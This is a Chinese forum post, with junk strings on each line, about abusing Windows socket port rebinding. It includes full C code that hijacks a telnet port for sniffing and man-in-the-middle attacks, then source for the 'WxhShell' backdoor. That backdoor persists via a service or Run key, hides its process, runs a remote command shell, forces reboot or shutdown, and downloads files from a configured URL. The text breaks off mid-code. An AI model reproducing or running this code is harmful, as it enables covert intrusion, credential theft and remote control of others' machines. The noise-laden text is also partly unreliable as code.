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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: N~""Lc&  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }ZQ)]Mr  
Ic 5TtN~/>  
  saddr.sin_family = AF_INET; !2.(iuE  
\k DQ[4mGq  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); y:Wq;xEiDo  
~[_u@8l!mN  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); {7k Jj(Ue  
fH-fEMyW  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 \# p@ef  
oO0dN1/  
  这意味着什么?意味着可以进行如下的攻击: 7U9*-9  
,Wv@D"4?  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |/qwR~  
 ?z hw0  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `fnU p-  
{\1:2UKkr  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 86*9GS?U(  
jmp0 %:+L  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  j*.K|77WHj  
O'm5k l  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &z;bX-"E  
TANv)&,|9  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 i;flK*HOZ9  
IP LKOT~  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3`JLb]6  
H*m3i;"4p\  
  #include B\73 Vf  
  #include kB)u@`</mV  
  #include R@X65o  
  #include    V< Ib#rd'  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \aN*x  
  int main() ':>u*  
  { t3qPocYQ  
  WORD wVersionRequested; Silh[8  
  DWORD ret; X[ 6#J  
  WSADATA wsaData; bu?4$O  
  BOOL val; L">\c5ca  
  SOCKADDR_IN saddr; rD\)ndPv  
  SOCKADDR_IN scaddr; fT2F$U  
  int err; \,AE5hnO  
  SOCKET s; 3 T1,:r  
  SOCKET sc; V0l"tr@  
  int caddsize; -;:.+1   
  HANDLE mt; ,qT^e8E+  
  DWORD tid;   5K:'VX  
  wVersionRequested = MAKEWORD( 2, 2 ); .E:3I!dH7  
  err = WSAStartup( wVersionRequested, &wsaData ); gW5yLb_Vz$  
  if ( err != 0 ) { u|mTF>L  
  printf("error!WSAStartup failed!\n"); VLfc6:Yg  
  return -1; t]CA!i`  
  }  [HEljEv  
  saddr.sin_family = AF_INET; /E39Z*  
   y}F;~H~P  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 th1;Ym+Ze  
;!+-fn4C  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %lnVzGP  
  saddr.sin_port = htons(23); lR>p  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) EKD?j  
  { Ob&m&2s,  
  printf("error!socket failed!\n"); KB"N',kG  
  return -1; 9Q.@RO$%C  
  } )n&6= Li  
  val = TRUE; M!/!*,~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 2dyS_2u  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) mDXG~*1   
  { j S4\;  
  printf("error!setsockopt failed!\n"); /V {1Zw=  
  return -1; bess b>=  
  } -d.i4X3j  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; O**~ Tj  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }G)2HTaZ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 U*:ju+)k  
oj(st{,  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;u-[%(00S  
  { 2<T/N  
  ret=GetLastError(); h"y~!NWn  
  printf("error!bind failed!\n"); lu?:1V-  
  return -1; ]$,3vYBf  
  } #`ZBA>FLaQ  
  listen(s,2); AxfQ{>)0  
  while(1) <}p]0iA  
  { WfXwI 'y  
  caddsize = sizeof(scaddr); G=F_{z\}  
  //接受连接请求 SajG67  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8RI'Fk{  
  if(sc!=INVALID_SOCKET) Q!!u=}GYK  
  { Sy/Z}H  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *3KSOcQ  
  if(mt==NULL) =fy\W=c  
  { OQIr"  
  printf("Thread Creat Failed!\n"); Zq~Rkx  
  break; l>?f+70  
  } HUChg{[  
  } <L('RgA@X  
  CloseHandle(mt); Uc, J+j0F  
  } v5 @9  
  closesocket(s); BM{*5Lf  
  WSACleanup(); jLA)Y [h  
  return 0; 8 (ot<3(D  
  }   e*y l_iW  
  DWORD WINAPI ClientThread(LPVOID lpParam) FHSFH>  
  { t2iQ[`/?~  
  SOCKET ss = (SOCKET)lpParam; s f.z(o  
  SOCKET sc; lNsdbyV'  
  unsigned char buf[4096];  )$GCur~  
  SOCKADDR_IN saddr; Cw"[$E'J  
  long num; I)kc[/^j$  
  DWORD val; ck b(+*+l  
  DWORD ret; &ty-aB=F  
  //如果是隐藏端口应用的话,可以在此处加一些判断 &Hyy .a  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   qg/FI#r  
  saddr.sin_family = AF_INET; Dkx}}E:<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); >,QCKZH  
  saddr.sin_port = htons(23); lGt:.p{NG  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 01&@8z'E  
  { 2acT w#  
  printf("error!socket failed!\n"); 'd|!Hr<2  
  return -1; BaWU[*  
  } *8_Dn}u?Jx  
  val = 100; |@~_&g  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )Ii`/I^  
  { fk9q3  
  ret = GetLastError(); 73B[|J*  
  return -1; }d>Xh8:%)  
  } %JH/|mA&|  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lcLDCt ?  
  { L/E7xLz  
  ret = GetLastError(); E+|K3EJ  
  return -1; DgK*> A  
  } ACy}w?D<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >9mj/P D  
  { ]imVIu   
  printf("error!socket connect failed!\n"); (?g+.]Dt,  
  closesocket(sc); 4x<H=CJC  
  closesocket(ss); pN)x,<M)  
  return -1; <CB%e!~.9  
  } &Nh zEl1  
  while(1) Wx8:GBM$2  
  { F3K<-JK+  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 `zrg?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 lXF7)H&T  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 rT=C/SKP  
  num = recv(ss,buf,4096,0); lo1bj*Y2  
  if(num>0) EP"Z58&$R  
  send(sc,buf,num,0); op/_ :#&'  
  else if(num==0) Uf|uFGb  
  break; |h%HUau  
  num = recv(sc,buf,4096,0); eXD~L&s[  
  if(num>0) 7W*a+^   
  send(ss,buf,num,0); XjCx`bX^<  
  else if(num==0) 3~7!=s\v  
  break; EJ>rW(s  
  } F:d2;  
  closesocket(ss); zy%0;%  
  closesocket(sc); Trs2M+r)  
  return 0 ; '&hd^9]Lo  
  } d"IZt;s/,  
Phk3Jv  
O$;#GpR  
========================================================== n.qT7d(  
IU5T5p  
下边附上一个代码,,WXhSHELL Yi,`uJKh  
w;{Q)_A  
========================================================== OF={k[  
M 87CP=yc  
#include "stdafx.h" ?hGE[.(eh]  
:<bhQY  
#include <stdio.h> \+nV~Pi"A  
#include <string.h> &tvtL  
#include <windows.h> a] 7g\rg)  
#include <winsock2.h> :aBxyS*}G  
#include <winsvc.h> ,}]v7DD  
#include <urlmon.h> M]p-<R\  
k7Qs#L  
#pragma comment (lib, "Ws2_32.lib") (_!I2"Q*  
#pragma comment (lib, "urlmon.lib") vb?.`B_>&  
9od*N$  
#define MAX_USER   100 // 最大客户端连接数 c_S~{a44Ud  
#define BUF_SOCK   200 // sock buffer #;~HoOK*#  
#define KEY_BUFF   255 // 输入 buffer pDYJLh-C  
[U",yN]d  
#define REBOOT     0   // 重启 343d`FRa}  
#define SHUTDOWN   1   // 关机 DO *  
+v 3: \#  
#define DEF_PORT   5000 // 监听端口 Su7N?X!  
LEeA ,Y  
#define REG_LEN     16   // 注册表键长度 = c Z24I  
#define SVC_LEN     80   // NT服务名长度 d5>&, {o7N  
1KrJS(.  
// 从dll定义API 8#lq:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3~bB2APk  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); WA,D=)GP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); gSw4\R  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ex zB{ "  
"^6Fh"]  
// wxhshell配置信息 jd-ccnR l  
struct WSCFG { o+}k$i!6  
  int ws_port;         // 监听端口 I/O/*^T  
  char ws_passstr[REG_LEN]; // 口令 Z#Kf%x.  
  int ws_autoins;       // 安装标记, 1=yes 0=no yc~<h/}#  
  char ws_regname[REG_LEN]; // 注册表键名 =k.%#h{  
  char ws_svcname[REG_LEN]; // 服务名 RqGX(Iuv  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 aVHIU3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^~-YS-.J#,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _~;%zFX  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vm[*+&\2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7@>/O)>(AS  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]b; m~|9  
xx>h J!  
}; C 'MR=/sd  
'nGUm[vh  
// default Wxhshell configuration \Z3K ~  
struct WSCFG wscfg={DEF_PORT, d8vf kV B  
    "xuhuanlingzhe", eK l; T  
    1, 3m!tb)  
    "Wxhshell", 5v)bs\x6  
    "Wxhshell", o ?vGI=  
            "WxhShell Service", Q17dcgd  
    "Wrsky Windows CmdShell Service",  |@'O3KA  
    "Please Input Your Password: ", /P@%{y  
  1, cZ?$_;=  
  "http://www.wrsky.com/wxhshell.exe", 3k9n*jY0  
  "Wxhshell.exe" L55 UeP\  
    }; rkR5>S( 2M  
D0xQXC3$`  
// 消息定义模块 qjhV/fsfb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F/BR#J1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; '7el`Ff  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jw=PeT|  
char *msg_ws_ext="\n\rExit."; GnW MI1$  
char *msg_ws_end="\n\rQuit."; ;j/$%lC  
char *msg_ws_boot="\n\rReboot..."; $Y6\m`  
char *msg_ws_poff="\n\rShutdown..."; \H:T)EVy  
char *msg_ws_down="\n\rSave to "; CA0XcLiFt  
rX?ZUw?u&  
char *msg_ws_err="\n\rErr!"; hI!BX};+}  
char *msg_ws_ok="\n\rOK!"; 8!Wh`n<  
').) 0;  
char ExeFile[MAX_PATH]; \ m~?yq8H  
int nUser = 0; Zf@B< m  
HANDLE handles[MAX_USER]; 30uPDDvar  
int OsIsNt; #O}}pF  
;\2Z?Kq  
SERVICE_STATUS       serviceStatus; 4\&Y;upy+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F!EiF&[\J  
QcQ%A%VIV  
// 函数声明 |A 'I!Jm  
int Install(void); kJ FWk  
int Uninstall(void); /9G72AD!  
int DownloadFile(char *sURL, SOCKET wsh); Lcpe*C x-  
int Boot(int flag); 9%T"W  
void HideProc(void); i^%$ydg  
int GetOsVer(void); (^ EuF]  
int Wxhshell(SOCKET wsl); I* C~w  
void TalkWithClient(void *cs); rMxIujx  
int CmdShell(SOCKET sock); ulIEx~qP  
int StartFromService(void); 5F~l;zT  
int StartWxhshell(LPSTR lpCmdLine); dJ6fPB|k  
0,t%us/q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X>o9mW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); PtbaC6"\  
X n!mdR  
// 数据结构和表定义 O[ird`/  
SERVICE_TABLE_ENTRY DispatchTable[] = -  /\qGI  
{ ;z4F-SYQ  
{wscfg.ws_svcname, NTServiceMain}, "g ^i%  
{NULL, NULL} zk8 )!Af  
}; {s0%XG1$  
Y\-xX:n.\  
// 自我安装 UrvUt$WO  
int Install(void) dz9U.:C  
{ Z{0BH{23  
  char svExeFile[MAX_PATH]; f+ceL'fr  
  HKEY key; 8-nf4=ll  
  strcpy(svExeFile,ExeFile); ~%/Rc`  
zg<-%r'$  
// 如果是win9x系统,修改注册表设为自启动 . |T=T0^  
if(!OsIsNt) { B]"`}jn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^_bG{du  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `sCaGCp  
  RegCloseKey(key); ,-y9P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XJ4f;U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NVv <vu  
  RegCloseKey(key); YK3>M"58  
  return 0; w I_@  
    } QE(.w dHP  
  } mgjJNzclL  
} b]4dmc*N+  
else { ux&"TkEp  
W%g*sc*+  
// 如果是NT以上系统,安装为系统服务 I1E9E$m5\<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K4!-%d$  
if (schSCManager!=0) a'i Q("  
{ 0!|d .jZI  
  SC_HANDLE schService = CreateService 0 jth}\9  
  ( /]TNEU,K  
  schSCManager, &ry*~"xoh  
  wscfg.ws_svcname, qLDj\%~(  
  wscfg.ws_svcdisp, elCYH9W^  
  SERVICE_ALL_ACCESS, !'jq.RawP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^U_T<x8{  
  SERVICE_AUTO_START, !,[#,oy;  
  SERVICE_ERROR_NORMAL, yXR1 NYg  
  svExeFile, `Y?VQ~ci>  
  NULL, K.)!qkW-%S  
  NULL, >S +}  
  NULL, ^ F]hW  
  NULL, .*zS2 z  
  NULL !uEEuD#  
  ); BY6#dlDi  
  if (schService!=0) o{s2T)2  
  { ,5n!a.T  
  CloseServiceHandle(schService); } GB~3 J  
  CloseServiceHandle(schSCManager); jfxNV2[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wX"hUu  
  strcat(svExeFile,wscfg.ws_svcname); xPm. TPj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =:WZV8@%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8v"rM >[  
  RegCloseKey(key); ebk>e*  
  return 0; EU?qLj':  
    } {[o NUzcd  
  } ff#7}9_mh  
  CloseServiceHandle(schSCManager); \Z]+j@9  
} X8|H5Y:  
} RPz[3y  
]nTeTW  
return 1; <,]:jgX  
} b' o]Y  
t}q e_c  
// 自我卸载 ZLkl:'E_  
int Uninstall(void) DK4yAR,g  
{ 1X?ro;  
  HKEY key; T+0=Ou"N  
&K9;GZS?  
if(!OsIsNt) { _gT65G~z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '$tCAS  
  RegDeleteValue(key,wscfg.ws_regname); /Y7^!3uM  
  RegCloseKey(key); TrjyU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =A"Abmx|  
  RegDeleteValue(key,wscfg.ws_regname); \H] |5fp*  
  RegCloseKey(key); bwsKdh  
  return 0; mk>; 3m*  
  } RaJTya^  
} +MoUh'/u  
} <XdnVe1  
else { [ RyVR  
:;k?/KU7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 66v,/#K  
if (schSCManager!=0) 7d:]o>  
{ ZoG@"vr2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9c>i>Vja!  
  if (schService!=0) zwfft  
  { HXLnjXoe  
  if(DeleteService(schService)!=0) { >ED;_L*_o  
  CloseServiceHandle(schService); sf> E  
  CloseServiceHandle(schSCManager);  >G]JwO  
  return 0; Ebnb-Lze,  
  } 7H6Ts8^S  
  CloseServiceHandle(schService); UUt"8]@[  
  } yZleots1  
  CloseServiceHandle(schSCManager); e=sc$1|4=  
} mxv ?PP  
} }je<^]a  
.p#kW:zspA  
return 1; ]*2),H1 c  
} E)v~kC}7.  
noZbsI4  
// 从指定url下载文件 K.Xy:l*z  
int DownloadFile(char *sURL, SOCKET wsh) iM]O  
{ !dqC6a  
  HRESULT hr; {?qfH>oFA  
char seps[]= "/"; uzd7v,  
char *token; iQG!-.aX  
char *file; x93@[B*%  
char myURL[MAX_PATH]; .n 9.y8C  
char myFILE[MAX_PATH]; -KiPqE%&G  
9 [eiN  
strcpy(myURL,sURL); $@AJg  
  token=strtok(myURL,seps); yzS]FwW7  
  while(token!=NULL) *6s_7{;  
  { {*_Ln  
    file=token; AiqKf=  
  token=strtok(NULL,seps); LO`0^r  
  } '}OdF*L  
X5)D[aE6  
GetCurrentDirectory(MAX_PATH,myFILE); 529; _|  
strcat(myFILE, "\\"); K; #FU  
strcat(myFILE, file); m<gdyY   
  send(wsh,myFILE,strlen(myFILE),0); }+,Q&]>~  
send(wsh,"...",3,0); 1c$pz:$vX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j=0kxvp  
  if(hr==S_OK) l)u%`Hcn  
return 0; |IAx!Z-P  
else ndSu-8?L  
return 1; E>fY,*0  
mF6-f#t>H+  
} 6uRE9h|  
xdSMYH{2A  
// 系统电源模块 z g7Q`  
int Boot(int flag) RoqkT|#$  
{ a*M|_&MH*  
  HANDLE hToken; %['NPs%B  
  TOKEN_PRIVILEGES tkp; WB jJ)vCA.  
Kzev] er  
  if(OsIsNt) { ,:S#gN{U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); F/v.hP_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !r/i<~'Bx  
    tkp.PrivilegeCount = 1; %NLd"SV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bb_elmb)n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [v1$L p  
if(flag==REBOOT) { rZI63S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g@H<Q('fJ  
  return 0; @rhS[^1wi+  
} 1jC85^1Taq  
else { 5gz^3R|`f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Q& [!+s:2J  
  return 0; H I9/  
} 2CC"Z  
  } c)EYX o  
  else { E~y8X9HZ)  
if(flag==REBOOT) { U][E`[m#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m[%356u  
  return 0; g`y9UYeh  
} <@J$hs9s  
else { V9[_aP;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jOhAXe;~X{  
  return 0; ` nX, x-UM  
} )!(gS,  
} <$A,|m  
>MYxj}I4{z  
return 1; H{cOkuy  
} bdrE2m  
+Xg:*b9So  
// win9x进程隐藏模块 0Gu77&  
void HideProc(void) A rE~6X  
{ UP#@gxF  
*zRig|k!H  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); shw?_#?1dy  
  if ( hKernel != NULL ) ^!tX+`,6^  
  { T"\d,ug5[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); aT^ $'_ G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zlLZ8b+  
    FreeLibrary(hKernel); 3Ei^WDJ  
  } W[jg+|  
0\i\G|5  
return; 6jpzyf=~  
} +[}y` -t  
Rk9n,"xpv  
// 获取操作系统版本 tGOJ4 =  
int GetOsVer(void) bWL!=  
{ }P.s  
  OSVERSIONINFO winfo; ]Zb9F[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O+!4KNN.-  
  GetVersionEx(&winfo); sm##owI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qiOtbH=  
  return 1; Y*xgY*K  
  else ,DEq"VW_  
  return 0; ]MCH]/  
} U<Oc&S{]*  
Vg62HZ |  
// 客户端句柄模块 zd_N' :6  
int Wxhshell(SOCKET wsl) Ry[7PLn]  
{ #>yOp *  
  SOCKET wsh; D[^K0<-Z  
  struct sockaddr_in client; g_4%M0&AX  
  DWORD myID; x)80:A}  
"1|g eO|  
  while(nUser<MAX_USER) j&ti "|2\  
{ )pI( <  
  int nSize=sizeof(client); G=qlE?j`j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); FqyxvL.  
  if(wsh==INVALID_SOCKET) return 1; ,{IDf  
jl59;.P  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S^R dj ]  
if(handles[nUser]==0) @ws&W=NQ  
  closesocket(wsh); JQb{?C  
else Vu_oxL}  
  nUser++; HnPy";{  
  } cvw17j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &NF$_*\E  
z*HM_u  
  return 0; )4fQ~)  
} (tO4UI5!  
!ak760*A  
// 关闭 socket ;(mNjxA  
void CloseIt(SOCKET wsh) *v#V%_o  
{ RAa1^Qb  
closesocket(wsh); T T 3 6Y  
nUser--; bV:<%l]  
ExitThread(0); &fRz6Hd  
} Na`> pH  
( x% 4*  
// 客户端请求句柄 AQ FnS&Y  
void TalkWithClient(void *cs) b~ )@e9  
{ "} :CM_  
WBKf)A^S  
  SOCKET wsh=(SOCKET)cs; R|@~<*  
  char pwd[SVC_LEN]; idHI)6!  
  char cmd[KEY_BUFF]; o5/BE`VD5c  
char chr[1]; aF/DFaiYv  
int i,j; m|JA }&A  
@GXKqi  
  while (nUser < MAX_USER) { 4SUzR\  
T5`ML'Dej  
if(wscfg.ws_passstr) { G9&2s%lu.e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7r:&%?2:g  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |FFz $'8)  
  //ZeroMemory(pwd,KEY_BUFF); BN(=LQ2["  
      i=0; 1z|bQ,5  
  while(i<SVC_LEN) { xA^E+f:W_  
yC ?p,Ci,  
  // 设置超时  G>?kskm  
  fd_set FdRead; V~jp  
  struct timeval TimeOut; , XscO7  
  FD_ZERO(&FdRead); N, u]2,E  
  FD_SET(wsh,&FdRead); {oOUIP  
  TimeOut.tv_sec=8; $+2QbEk&-  
  TimeOut.tv_usec=0; >/RFff]Fh0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E el*P M  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  &I-T  
R68:=E4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G8'{nPA~  
  pwd=chr[0]; 6? lAbW  
  if(chr[0]==0xd || chr[0]==0xa) { XXm7rn  
  pwd=0; %yc-D]P/  
  break; 34CcZEQQ  
  } D HQxu4  
  i++; ~u!V_su]GY  
    } Q "NZE  
va QsG6q[  
  // 如果是非法用户,关闭 socket A|K=>7n]U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }; 7I   
} *[i49X&rd  
|<3x`l-`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u,:hT] ~+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C}uzzG6s  
atd;)o0*0  
while(1) { > jiez,  
;:oXe*d  
  ZeroMemory(cmd,KEY_BUFF); $;(@0UDE  
&2.DZ),L  
      // 自动支持客户端 telnet标准    /s^42  
  j=0; PPy~dp  
  while(j<KEY_BUFF) { ^uG^>Om*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]Ue aXwaU  
  cmd[j]=chr[0]; IDf\! QGx  
  if(chr[0]==0xa || chr[0]==0xd) { l-nH  
  cmd[j]=0; 9%SC#V'  
  break; 569p/?  
  } }&L%c>  
  j++; 8G$BQ  
    } <L*`WO]\l  
Nw9:Gi  
  // 下载文件 UpD4'!<buV  
  if(strstr(cmd,"http://")) { %t6-wWM97  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "doiD=b  
  if(DownloadFile(cmd,wsh)) dPpJDY0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); F#L1~\7  
  else Tc"J(GWG  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x8C\&ivn  
  } nC[aEZ7  
  else { boDD?0.|  
I0H]s/*C%9  
    switch(cmd[0]) { iF +@aA  
  }=\?]9`  
  // 帮助 CV=qcD  
  case '?': { f|_\GVW  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); < @GO]vY  
    break; 3O-vO=D  
  } nql9SQ'\\  
  // 安装 zx$1.IM"4  
  case 'i': { {9{X\|  
    if(Install()) dR_6j}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4 X/UyBk  
    else |,=^P` #%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o o'7  
    break; hi$AZ+  
    } ^>ir&$  
  // 卸载 ia_@fQ  
  case 'r': { ,W[J@4.  
    if(Uninstall()) $v#`2S(7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &L+.5i  
    else G!B:>P|\l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EFx>Hu/ [G  
    break; 'nM4t  
    } Ye$j43b  
  // 显示 wxhshell 所在路径 sCt)Yp+8}B  
  case 'p': { :2M&C+f[  
    char svExeFile[MAX_PATH]; bW! &n  
    strcpy(svExeFile,"\n\r"); ))Z>$\<:  
      strcat(svExeFile,ExeFile); vR!g1gI23  
        send(wsh,svExeFile,strlen(svExeFile),0); Wq+GlB*  
    break;  yZ[g2*1L  
    } N>*+Wg$Ne  
  // 重启 U/kQwrM  
  case 'b': { zdU 46|!u  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "9c=kqkX  
    if(Boot(REBOOT)) b+:J?MR;}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .QKyB>s  
    else { w< Xwz`O  
    closesocket(wsh); JttDRNZAU  
    ExitThread(0); [PUu9rz#  
    } lqMr@ :t  
    break; `#l3a  
    } (57!{[J  
  // 关机 o<3$|`S&  
  case 'd': { $Z;/Sh  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pw4^E|X  
    if(Boot(SHUTDOWN)) itirh"[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,>b>I#{  
    else { *IWW,@0  
